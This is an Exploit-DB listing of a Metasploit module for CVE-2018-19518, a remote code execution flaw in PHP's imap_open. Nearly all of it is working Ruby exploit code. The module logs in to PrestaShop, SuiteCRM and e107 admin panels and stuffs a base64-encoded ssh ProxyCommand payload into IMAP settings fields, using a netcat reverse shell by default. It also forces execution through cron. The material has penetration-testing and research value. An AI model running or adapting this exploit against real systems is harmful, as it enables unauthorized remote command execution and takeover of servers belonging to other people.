PHP imap_open - Remote Code Execution (Metasploit)

EDB-ID: 45914
Author: Metasploit
Published: 2018-11-29
CVE: CVE-2018-19518
Type: Remote
Platform: Linux
Aliases: N/A
Advisory/Source: Link
Tags: Metasploit Framework (MSF), Remote
Vulnerable App: N/A

 # This module requires Metasploit: https://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'php imap_open Remote Code Execution',
'Description' => %q{
The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an
IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh's ProxyCommand
option can be passed from imap_open to execute arbitrary commands.
While many custom applications may use imap_open, this exploit works against the following applications:
e107 v2, prestashop, SuiteCRM, as well as Custom, which simply prints the exploit strings for use.
Prestashop exploitation requires the admin URI, and administrator credentials.
suiteCRM/e107/hostcms require administrator credentials.
},
'Author' =>
[
'Anton Lopanitsyn', # Vulnerability discovery and PoC
'Twoster', # Vulnerability discovery and PoC
'h00die' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://web.archive.org/web/20181118213536/https://antichat.com/threads/463395' ],
[ 'URL', 'https://github.com/Bo0oM/PHP_imap_open_exploit' ],
[ 'EDB', '45865'],
[ 'URL', 'https://bugs.php.net/bug.php?id=76428'],
[ 'CVE', '2018-19518']
],
'Privileged' => false,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'prestashop', {} ],
[ 'suitecrm', {}],
[ 'e107v2', {'WfsDelay' => 90}], # may need to wait for cron
[ 'custom', {'WfsDelay' => 300}]
],
'PrependFork' => true,
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'WfsDelay' => 120
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 23 2018'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base directory path", '/admin2769gx8k3']),
OptString.new('USERNAME', [ false, "Username to authenticate with", '']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
])
end

def check
if target.name =~ /prestashop/
uri = normalize_uri(target_uri.path)
res = send_request_cgi({'uri' => uri})
if res && (res.code == 301 || res.code == 302)
return CheckCode::Detected
end
elsif target.name =~ /suitecrm/
#login page GET /index.php?action=Login&module=Users
vprint_status('Loading login page')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'action' => 'Login',
'module' => 'Users'
}
)
unless res
print_error('Error loading site. Check options.')
return
end

if res.code = 200
return CheckCode::Detected
end
end
CheckCode::Safe
end

def command(spaces='$IFS$()')
#payload is base64 encoded, and stuffed into the SSH option.
enc_payload = Rex::Text.encode_base64(payload.encoded)
command = "-oProxyCommand=`echo #{enc_payload}|base64 -d|bash`"
#final payload can not contain spaces, however $IFS$() will return the space we require
command.gsub!(' ', spaces)
end

def exploit
if target.name =~ /prestashop/
uri = normalize_uri(target_uri.path)
res = send_request_cgi({'uri' => uri})
if res && res.code != 301
print_error('Admin redirect not found, check URI. Should be something similar to /admin2769gx8k3')
return
end

#There are a bunch of redirects that happen, so we automate going through them to get to the login page.
while res.code == 301 || res.code == 302
cookie = res.get_cookies
uri = res.headers['Location']
vprint_status("Redirected to #{uri}")
res = send_request_cgi({'uri' => uri})
end

#Tokens are generated for each URL or sub-component, we need valid ones!
/.*token=(?<token>\w{32})/ =~ uri
/id="redirect" value="(?<redirect>.*)"\/>/ =~ res.body
cookie = res.get_cookies

unless token && redirect
print_error('Unable to find token and redirect URL, check options.')
return
end

vprint_status("Token: #{token} and Login Redirect: #{redirect}")
print_status("Logging in with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'cookie' => cookie,
'vars_post' => {
'ajax' => 1,
'token' => '',
'controller' => 'AdminLogin',
'submitLogin' => '1',
'passwd' => datastore['PASSWORD'],
'email' => datastore['USERNAME'],
'redirect' => redirect
},
'vars_get' => {
'rand' => '1542582364810' #not sure if this will hold true forever, I didn't see where it is being generated
}
)
if res && res.body.include?('Invalid password')
print_error('Invalid Login')
return
end
vprint_status("Login JSON Response: #{res.body}")
uri = JSON.parse(res.body)['redirect']
cookie = res.get_cookies
print_good('Login Success, loading admin dashboard to pull tokens')
res = send_request_cgi({'uri' => uri, 'cookie' => cookie})

/AdminCustomerThreads&token=(?<token>\w{32})/ =~ res.body
vprint_status("Customer Threads Token: #{token}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'cookie' => cookie,
'vars_get' => {
'controller' => 'AdminCustomerThreads',
'token' => token
}
})

/form method="post" action="index\.php\?controller=AdminCustomerThreads&token=(?<token>\w{32})/ =~ res.body
print_good("Sending Payload with Final Token: #{token}")
data = Rex::MIME::Message.new
data.add_part('1', nil, nil, 'form-data; name="PS_CUSTOMER_SERVICE_FILE_UPLOAD"')
data.add_part("Dear Customer,\n\nRegards,\nCustomer service", nil, nil, 'form-data; name="PS_CUSTOMER_SERVICE_SIGNATURE_1"')
data.add_part("x #{command}}", nil, nil, 'form-data; name="PS_SAV_IMAP_URL"')
data.add_part('143', nil, nil, 'form-data; name="PS_SAV_IMAP_PORT"')
data.add_part(Rex::Text.rand_text_alphanumeric(8), nil, nil, 'form-data; name="PS_SAV_IMAP_USER"')
data.add_part(Rex::Text.rand_text_alphanumeric(8), nil, nil, 'form-data; name="PS_SAV_IMAP_PWD"')
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_DELETE_MSG"')
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_CREATE_THREADS"')
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_POP3"')
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_NORSH"')
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_SSL"')
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_VALIDATE-CERT"')
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_NOVALIDATE-CERT"')
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_TLS"')
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_NOTLS"')
data.add_part('', nil, nil, 'form-data; name="submitOptionscustomer_thread"')

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'cookie' => cookie,
'vars_get' => {
'controller' => 'AdminCustomerThreads',
'token' => token
}
)
print_status('IMAP server change left on server, manual revert required.')

if res && res.body.include?('imap Is Not Installed On This Server')
print_error('PHP IMAP mod not installed/enabled ')
end
elsif target.name =~ /suitecrm/
#login page GET /index.php?action=Login&module=Users
vprint_status('Loading login page')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'action' => 'Login',
'module' => 'Users'
}
)
unless res
print_error('Error loading site. Check options.')
return
end

if res.code = 200
cookie = res.get_cookies
else
print_error("HTTP code #{res.code} found, check options.")
return
end

vprint_status("Logging in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'cookie' => cookie,
'vars_post' => {
'module' => 'Users',
'action' => 'Authenticate',
'return_module' => 'Users',
'return_action' => 'Login',
'cant_login' => '',
'login_module' => '',
'login_action' => '',
'login_record' => '',
'login_token' => '',
'login_oauth_token' => '',
'login_mobile' => '',
'user_name' => datastore['USERNAME'],
'username_password' => datastore['PASSWORD'],
'Login' => 'Log+In'
}
)
unless res
print_error('Error loading site. Check options.')
return
end

if res.code = 302
cookie = res.get_cookies
print_good('Login Success')
else
print_error('Failed Login, check options.')
end

#load the email settings page to get the group_id
vprint_status('Loading InboundEmail page')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'cookie' => cookie,
'vars_get' => {
'module' => 'InboundEmail',
'action' => 'EditView'
}
)

unless res
print_error('Error loading site.')
return
end

/"group_id" value="(?<group_id>\w{8}-\w{4}-\w{4}-\w{4}-\w{12})">/ =~ res.body

unless group_id
print_error('Could not identify group_id from form page')
return
end

print_good("Sending payload with group_id #{group_id}")

referer = "http://#{datastore['RHOST']}#{normalize_uri(target_uri.path, 'index.php')}?module=InboundEmail&action=EditView"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'cookie' => cookie,
#required to prevent CSRF protection from triggering
'headers' => { 'Referer' => referer},
'vars_post' => {
'module' => 'InboundEmail',
'record' => '',
'origin_id' => '',
'isDuplicate' => 'false',
'action' => 'Save',
'group_id' => group_id,
'return_module' => '',
'return_action' => '',
'return_id' => '',
'personal' => '',
'searchField' => '',
'mailbox_type' => '',
'button' => ' Save ',
'name' => Rex::Text.rand_text_alphanumeric(8),
'status' => 'Active',
'server_url' => "x #{command}}",
'email_user' => Rex::Text.rand_text_alphanumeric(8),
'protocol' => 'imap',
'email_password' => Rex::Text.rand_text_alphanumeric(8),
'port' => '143',
'mailbox' => 'INBOX',
'trashFolder' => 'TRASH',
'sentFolder' => '',
'from_name' => Rex::Text.rand_text_alphanumeric(8),
'is_auto_import' => 'on',
'from_addr' => "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.org",
'reply_to_name' => '',
'distrib_method' => 'AOPDefault',
'distribution_user_name' => '',
'distribution_user_id' => '',
'distribution_options[0]' => 'all',
'distribution_options[1]' => '',
'distribution_options[2]' => '',
'create_case_template_id' => '',
'reply_to_addr' => '',
'template_id' => '',
'filter_domain' => '',
'email_num_autoreplies_24_hours' => '10',
'leaveMessagesOnMailServer' => '1'
}
)
if res && res.code == 200
print_error('Triggered CSRF protection, may try exploitation manually.')
end
print_status('IMAP server config left on server, manual removal required.')
elsif target.name =~ /e107v2/
# e107 has an encoder which prevents $IFS$() from being used as $ = &#036;
# \t also became /t, however "\t" does seem to work.

# e107 also uses a cron job to check bounce jobs, which may not be active.
# either cron can be disabled, or bounce checks disabled, so we try to
# kick the process manually, however if it doesn't work we'll hope
# cron is running and we get a call back anyways.

vprint_status("Logging in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'admin.php'),
'vars_post' => {
'authname' => datastore['USERNAME'],
'authpass' => datastore['PASSWORD'],
'authsubmit' => 'Log In'
})
unless res
print_error('Error loading site. Check options.')
return
end

if res.code == 302
cookie = res.get_cookies
print_good('Login Success')
else
print_error('Failed Login, check options.')
end


vprint_status('Checking if Cron is enabled for triggering')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),
'cookie' => cookie
)
unless res
print_error('Error loading site. Check options.')
return
end
if res.body.include? 'Status: <b>Disabled</b>'
print_error('Cron disabled, unexploitable.')
return
end

print_good('Storing payload in mail settings')

# the imap/pop field is hard to find. Check Users > Mail
# then check "Bounced emails - Processing method" and set it to "Mail account"
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'mailout.php'),
'cookie' => cookie,
'vars_get' => {
'mode' => 'prefs',
'action' => 'prefs'
},
'vars_post' => {
'testaddress' => '[email protected]',
'testtemplate' => 'textonly',
'bulkmailer' => 'smtp',
'smtp_server' => '1.1.1.1',
'smtp_username' => 'username',
'smtp_password' => 'password',
'smtp_port' => '25',
'smtp_options' => '',
'smtp_keepalive' => '0',
'smtp_useVERP' => '0',
'mail_sendstyle' => 'texthtml',
'mail_pause' => '3',
'mail_pausetime' => '4',
'mail_workpertick' => '5',
'mail_log_option' => '0',
'mail_bounce' => 'mail',
'mail_bounce_email2' => '',
'mail_bounce_email' => "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.org",
'mail_bounce_pop3' => "x #{command("\t")}}",
'mail_bounce_user' => Rex::Text.rand_text_alphanumeric(8),
'mail_bounce_pass' => Rex::Text.rand_text_alphanumeric(8),
'mail_bounce_type' => 'imap',
'mail_bounce_auto' => '1',
'updateprefs' => 'Save Changes'
})


vprint_status('Loading cron page to execute job manually')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),
'cookie' => cookie
)

unless res
print_error('Error loading site. Check options.')
return
end

if /name='e-token' value='(?<etoken>\w{32})'/ =~ res.body && /_system::procEmailBounce.+?cron_execute\[(?<cron_id>\d)\]/m =~ res.body
print_good("Triggering manual run of mail bounch check cron to execute payload with cron id #{cron_id} and etoken #{etoken}")
# The post request has several duplicate columns, however all were not required. Left them commented for documentation purposes
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),
'cookie' => cookie,
'vars_post' => {
'e-token' => etoken,
#'e-columns[]' => 'cron_category',
'e-columns[]' => 'cron_name',
#'e-columns[]' => 'cron_description',
#'e-columns[]' => 'cron_function',
#'e-columns[]' => 'cron_tab',
#'e-columns[]' => 'cron_lastrun',
#'e-columns[]' => 'cron_active',
"cron_execute[#{cron_id}]" => '1',
'etrigger_batch' => ''
})

else
print_error('e-token not found, required for manual exploitation. Wait 60sec, cron may still trigger.')
end

print_status('IMAP server config left on server, manual removal required.')
elsif target.name =~ /custom/
print_status('Listener started for 300 seconds')
print_good("POST request connection string: x #{command}}")
# URI.encode leaves + as + since that's a space encoded. So we manually change it.
print_good("GET request connection string: #{URI.encode("x " + command + "}").sub! '+', '%2B'}")
end
end
end

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